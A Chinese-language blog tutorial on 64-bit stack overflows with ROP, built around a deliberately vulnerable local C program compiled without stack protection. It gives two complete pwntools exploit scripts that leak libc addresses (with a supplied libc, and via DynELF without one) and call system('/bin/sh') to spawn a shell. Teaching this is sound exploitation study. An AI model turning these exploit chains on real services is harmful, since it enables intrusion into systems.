Chybeta

ROP学习:64位栈溢出

web狗的二进制之路。

环境准备

c程序 test.c :

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
void func()
{
char name[0x50];
read(0, name, 0x100);
write(1, name, 0x100);
}
int main()
{
func();
return 0;
}

编译:

1
gcc test.c -o pwn -O0 -fno-stack-protector

选项 -O0 表示不进行任何优化, -fno-stack-protector表示无canary保护。

基础知识

C语言调用机制使用了栈数据结构,先进后出。同时栈是由高地址向低地址增长。

在64位环境下,函数的调用所需要的参数是优先通过寄存器来进行的。寄存器的顺序如下:rdi,rsi,rdx,rcx,r8,r9。当一个函数有大于6个整形参数,则超出的部分会通过栈来传递,这个情况少见。

64位环境下,还有几个特殊的指针(寄存器):rip、rbp和rsp。其中rip是指令指针,cpu会把rip指向的内容当作指令执行。rbp指向当前栈帧的底部。rsp指向当前栈帧的顶部。

ROP

由于64位下,是优先通过寄存器来传参,所以不能像在32位环境下直接去布置栈上的数据来exp。这时需要用到ROP技术(Retrun-oriented Programmming),从可执行文件或者库中提取部分代码片段来进行恶意利用。

比如我们想要传入一个参数,那这个参数需要被布置到寄存器rdi中,这时我们可以寻找诸如pop rdi;ret的代码片段,从而在执行完pop rdi后把栈上布置好的数据存放到寄存器rdi中后能够再次控制程序执行流(ret)

常见的寻找ROP的工具有很多,这里使用ROPgadget。以前面的例子为例。

1
ROPgadget --binary "pwn" --only "pop|ret"

分析

我们的测试程序是

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
void func()
{
char name[0x50];
read(0, name, 0x100);
write(1, name, 0x100);
}
int main()
{
func();
return 0;
}

有非常明显的栈溢出漏洞,read从标准输入流(0)读取0x100放到name里面,之后write从name中读取长度为0x100的字节输出到屏幕(1)。我们可以通过输入,从而去覆盖func()的返回地址,从而劫持控制流。

为能找到溢出点,可以使用pattern.py来测试。

1
2
(venv) chybeta@ubuntu:~/pwn/test$ pattern 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

接着利用gdb,在运行(r)后输入上述生成的字符串,此时gdb发生段错误。因为是在64位环境下,指针无法到达高地址,即不能超过0x00007fffffffffff,所以不能直接利用查看$eip的方法。但因为ret指令,相当于pop rsp,所以只要看一下rsp的值,就知道跳转的地址,从而知道溢出点。

1
2
3
4
5
6
7
gdb-peda$ x/gx $rsp
0x7fffffffdc98: 0x3164413064413963
.......
(venv) chybeta@ubuntu:~/pwn/test$ pattern 0x3164413064413963
Pattern 0x3164413064413963 first occurrence at position 88 in pattern.

所以,溢出点是88个字节。

提供libc

环境准备

用ldd命令可以看到pwn程序运行时使用的libc.so。

1
2
3
4
(venv) chybeta@ubuntu:~/pwn/test$ ldd pwn
linux-vdso.so.1 => (0x00007ffeb7d64000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb139e93000)
/lib64/ld-linux-x86-64.so.2 (0x00005602037ac000)

/lib/x86_64-linux-gnu/libc.so.6拷贝到当前目录下。

1
cp /lib/x86_64-linux-gnu/libc.so.6 libc.so

思路

  • 提供了libc.so,可以计算出read函数与system函数和sh字符串的偏移量。
  • 利用write函数泄露出read函数的地址,从而计算system函数和sh字符串的真实地址。
  • 调用system函数,并传入参数,即sh字符串。

exp:

接下去根据exp进行一下详细的讲解。

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("libc.so") # 题目提供
offset = 88
offset_read_system = libc.symbols["read"] - libc.symbols["system"]
offset_read_binsh = libc.symbols["read"] - next(libc.search("/bin/sh\x00"))
log.success("offset_read_system => {}".format(hex(offset_read_system)))
log.success("offset_read_binsh => {}".format(hex(offset_read_binsh)))

offset偏移由pattern.py和gdb计算得出。read与system地址和sh地址由提供的libc,结合pwntools得到。

1
2
pop_rdi_ret_addr = 0x0000000000400623
pop_rsi_pop_r15_addr = 0x0000000000400621

两个地址,由ROPgadget得到,用于参数的传递。

1
2
3
4
5
6
7
8
9
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(1)
payload += p64(pop_rsi_pop_r15_addr)
payload += p64(elf.got["read"])
payload += p64(1)
payload += p64(elf.plt['write'])
payload += p64(elf.symbols['func'])
p.send(payload)

利用write函数泄露read函数地址。'a'*offset后到溢出点return跳到执行pop rdi,此时栈顶的数据为1,pop完后1被保存在寄存器rdi中,作为write的第一个参数。之后返回(ret)跳转到执行pop rsi,此时栈顶的数据为read函数的plt表地址,pop完后,其地址被保存在rsi中,作为write的第二个参数。接下去要执行pop r15,没有什么用,所以我们随便写一个p64(1)进去。再接下去就是ret(返回)跳转到func函数,以便进行下一次利用。为什么我们没有设置write的第三个参数呢??? 见下文。

1
2
p.recv(0x100)
read_addr = u64(p.recv(8))

前面发送payload后,先执行了正常的write函数流程,注意源程序中的write的第三个参数是0x100,所以需要先p.recv(0x100),之后由于func的返回地址被覆盖了,程序流程会进入我们设置好的rop中。在rop链中,我们修改了write的前两个参数,此时write的函数调用如下:write(1,read_plt_addr,0x100)。我们的目的是获得read函数的地址,在64位环境下为8个字节,所以只需要截取write输出的前8个字节,即read_addr = u64(p.recv(8))。

1
2
3
4
5
system_addr = read_addr - offset_read_system
binsh_addr = read_addr - offset_read_binsh
log.success("read_addr => {} ".format(hex(read_addr)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success("binsh_addr => {}".format(hex(binsh_addr)))

获取了read函数地址后,就可以计算system()函数和字符串sh的地址了

1
2
3
4
5
6
7
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.send(payload)
p.interactive()

第一次rop结束后,我们让它ret到func函数,接下来构造新的rop。同样利用'a'*offset先溢出到return,通过pop rdi,将sh字符串的地址保存到寄存器rdi中,作为system()函数的参数。之后是ret,直接返回到system()函数的地址,从而成功getshell()

附上完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("libc.so")
offset = 88
offset_read_system = libc.symbols["read"] - libc.symbols["system"]
offset_read_binsh = libc.symbols["read"] - next(libc.search("/bin/sh\x00"))
log.success("offset_read_system => {}".format(hex(offset_read_system)))
log.success("offset_read_binsh => {}".format(hex(offset_read_binsh)))
pop_rdi_ret_addr = 0x0000000000400623
pop_rsi_pop_r15_addr = 0x0000000000400621
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(1)
payload += p64(pop_rsi_pop_r15_addr)
payload += p64(elf.got["read"])
payload += p64(1)
payload += p64(elf.plt['write'])
payload += p64(elf.symbols['func'])
p.send(payload)
p.recv(0x100)
read_addr = u64(p.recv(8))
log.success("read_addr => {} ".format(hex(read_addr)))
system_addr = read_addr - offset_read_system
binsh_addr = read_addr - offset_read_binsh
log.success('system_addr => {}'.format(hex(system_addr)))
log.success("binsh_addr => {}".format(hex(binsh_addr)))
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.send(payload)
p.recv(0x100)
p.interactive()

不提供libc

若题目没有提供libc的话,需要利用pwntool中的DynELF来泄露地址。但有些地方需要注意,因为DynELF会一直循环地去泄露地址,所以栈可能会有不可控的情况。根据《借助DynELF实现无libc的漏洞利用小结》,可以在函数地址泄露完后,调用_start函数以恢复栈。但我这里测试时,如果在泄露完成后再恢复就没办法pwn成功,我就直接把对_start的调用放到了leak函数里,每泄露一次就恢复一次栈。

思路

  • 利用DynELF泄露出system的地址,
  • 利用read函数向可写数据段(比如.bss段)写入字符串“/bin/sh”
  • 调用system,getshell。

exp

下面也是根据exp具体讲解。

1
2
3
4
from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
offset = 88

注意这里,我们已经没有用到libc.so了,手里有的只有pwn这个程序。

1
2
3
4
bss_addr = elf.bss()
start_addr = elf.symbols['_start']
pop_rdi_ret_addr = 0x0000000000400623
pop_rsi_pop_r15_addr = 0x0000000000400621

bss_addr是我们准备写入字符串的bss段地址。start_addr用于恢复栈。pop_rdi_ret_addr,pop_rsi_pop_r15_addr由ROPgadget得到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leak(address):
log.info('leak address => {} '.format(hex(address)))
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(1)
payload += p64(pop_rsi_pop_r15_addr)
payload += p64(address)
payload += p64(1)
payload += p64(elf.plt['write'])
payload += p64(elf.symbols['func'])
p.send(payload)
p.recv(0x100)
address = p.recv(8)
p.recv()
payload = 'a' * offset
payload += p64(start_addr)
p.send(payload)
p.recv(0x100)
return address

利用rop技术,结合write()函数,泄露出地址后又回到func函数体中。注意泄露的地址是8个字节,所以address = p.recv(8),而write的第三个参数(0x100)我们没法改变,所以需要用p.recv()接收剩下的字符。接下去就是回到func函数后,会去调用_start函数,恢复栈。完了后再次进入func(),进行下一次泄露。

1
2
3
4
5
6
d = DynELF(leak, elf = ELF('./pwn'))
system_addr = d.lookup("system","libc")
read_addr = d.lookup("read","libc")
# read_addr = elf.plt['read']
log.success("system address => {}".format(hex(system_addr)))
log.success("read address => {}".format(hex(read_addr)))

利用DynELF泄露出system和read函数的地址。read函数的地址,其实可以直接获得,即注释中的read_addr = elf.plt['read']

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(0)
payload += p64(pop_rsi_pop_r15_addr)
payload += p64(bss_addr)
payload += p64(1)
payload += p64(read_addr)
payload += p64(elf.symbols['func'])
p.send(payload)
p.recv(0x100)
payload = '/bin/sh\x00'
p.send(payload)

这一部分,调用read函数,向bss段写入/bin/sh字符串,之后再回到func函数体中。通过pop_rdi_ret_addr构造了read的第一个参数是0,通过pop_rsi_pop_r15_addr构造了read的第二个参数为bss_addr。接下去的那个p64(1)只是为了执行pop_r15没有其他用处。因此在调用read()时是这样的:
read(0,bss_addr,0x100)

1
2
3
4
5
6
7
8
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(bss_addr)
payload += p64(system_addr)
p.send(payload)
p.recv(0x100)
p.interactive()

这一部分,调用system(),利用pop_rdi_ret_addr提供参数/bin/sh

附上完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
offset = 88
bss_addr = elf.bss()
start_addr = elf.symbols['_start']
pop_rdi_ret_addr = 0x0000000000400623
pop_rsi_pop_r15_addr = 0x0000000000400621
def leak(address):
log.info('leak address => {} '.format(hex(address)))
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(1)
payload += p64(pop_rsi_pop_r15_addr)
payload += p64(address)
payload += p64(1)
payload += p64(elf.plt['write'])
payload += p64(elf.symbols['func'])
p.send(payload)
p.recv(0x100)
address = p.recv(8)
p.recv()
payload = 'a' * offset
payload += p64(start_addr)
p.send(payload)
p.recv(0x100)
return address
d = DynELF(leak, elf = ELF('./pwn'))
system_addr = d.lookup("system","libc")
read_addr = d.lookup("read","libc")
# read_addr = elf.plt['read']
log.success("system address => {}".format(hex(system_addr)))
log.success("read address => {}".format(hex(read_addr)))
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(0)
payload += p64(pop_rsi_pop_r15_addr)
payload += p64(bss_addr)
payload += p64(1)
payload += p64(read_addr)
payload += p64(elf.symbols['func'])
p.send(payload)
p.recv(0x100)
payload = '/bin/sh\x00'
p.send(payload)
payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(bss_addr)
payload += p64(system_addr)
p.send(payload)
p.recv(0x100)
p.interactive()

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:ROP学习:64位栈溢出

文章作者:chybeta

发布时间:2017年06月26日 - 19:06

最后更新:2017年07月28日 - 15:07

原始链接:http://chybeta.github.io/2017/06/26/ROP学习:64位栈溢出/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。